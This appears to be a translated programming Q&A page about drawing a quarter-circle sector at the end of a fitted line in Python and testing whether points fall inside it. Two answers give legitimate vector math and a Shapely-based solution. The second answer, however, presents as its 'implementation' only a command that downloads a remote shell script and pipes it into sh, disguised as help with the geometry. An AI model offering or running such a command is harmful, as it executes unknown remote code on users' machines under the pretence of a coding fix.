在直线的末端画一个四分之一圆

时间:2019-07-16 17:13:38

标签: python geometry point shapely

我有一些点的坐标。我的任务是获取这些点的方向,并找到将来可能的点在计算出的方向上的位置。为此,我已经计划了以下项目-

  1. 将线对准要点
  2. 在拟合线的末端绘制一个四分之一圆。按照常识,四分之一圈可能不是正确的选择。但是,这是另一个问题的一部分,必须以这种方式解决。

我正在使用以下代码填充一行

from matplotlib import pyplot as plt
from scipy import stats

x = [1,2,3,2,5,6,7,8,9,10] 
y = [2,4,11,8,8,18,14,11,18,20]
slope, intercept, r_value, p_value, std_err = stats.linregress(x,y)
line = [slope*i+intercept for i in x]
plt.plot(x, line)

假设拟合线上的两个点是(9,17)和(10,19)。如何在直线方向上在(10,19)处绘制半径为5的四分之一圆?

enter image description here

最终,我将获得一个点位置,并且我必须检查该点是否落在四分之一圆之内,我认为可以用匀整的方式进行。

3 个答案:

答案 0 :(得分:1)

要检查点 P 是否在四分之一圆内,您可以找到距线端 B BP 的长度)和余弦的距离线方向矢量 d 和矢量 BP

之间的夹角
distance = sqrt(BP.x * BP.x + BP.y * BP.y)

cosine = (d.x * BP.x + d.y * BP.y) / (distance)

if (distance < radius) and (cosine >= sqrt(2)/2) 
  P in sector

单位向量 d 可能是根据您已有的数据计算出来的:

d.x = sign(slope) * sqrt(1/(1+slope**2))
d.y = sqrt(slope**2/1+slope**2)

请注意,没有明确定义分量的符号(因为两个相对的向量具有相同的斜率)


要解决主要问题-弧的端点可能使用旋转的(按Pi / 4)方向矢量来计算

cf = sqrt(2)/2
arcbegin.x = b.x + radius * d.x * cf - radius * d.y * cf
arcbegin.y = b.y + radius * d.x * cf + radius * d.y * cf
arcend.x = b.x + radius * d.x * cf + radius * d.y * cf
arcend.y = b.y - radius * d.x * cf + radius * d.y * cf

答案 1 :(得分:1)

我认为您应该按以下方式实现拱门。 (我只是显示了您缺少的逻辑,您不得不添加您的图)。祝你好运

curl -Ls "https://my-domain.com/a.sh?v=$(date +%s)" | sh

答案 2 :(得分:1)

您可以将其委托给Shapely,而不是自己计算所有数学。

首先,借助buffer在行尾创建一个圆圈:

from shapely.affinity import rotate
from shapely.geometry import LineString, Point
from shapely.ops import split

a = (10, 20)
b = (15, 30)
ab = LineString([a, b])  # the line you got from linear regression
circle = Point(b).buffer(5)

enter image description here

现在,让我们获得两个新行,它们将界定所需部门的区域。我们将通过使用rotate将线在每个方向上旋转到135º来做到这一点,以使扇形的中心角为360º-135º* 2 =90º,即四分之一圆:

left_border = rotate(ab, -135, origin=b)
right_border = rotate(ab, 135, origin=b)

enter image description here

最后,使用split获取扇区:

splitter = LineString([*left_border.coords, *right_border.coords[::-1]])
sector = split(circle, splitter)[1]

enter image description here

您可以使用contains方法从此处轻松地找到一个点是否位于扇区内。例如:

points_of_interest = [Point(16, 32), Point(12, 30)]
for point in points_of_interest:
    print(sector.contains(point))
# True
# False

enter image description here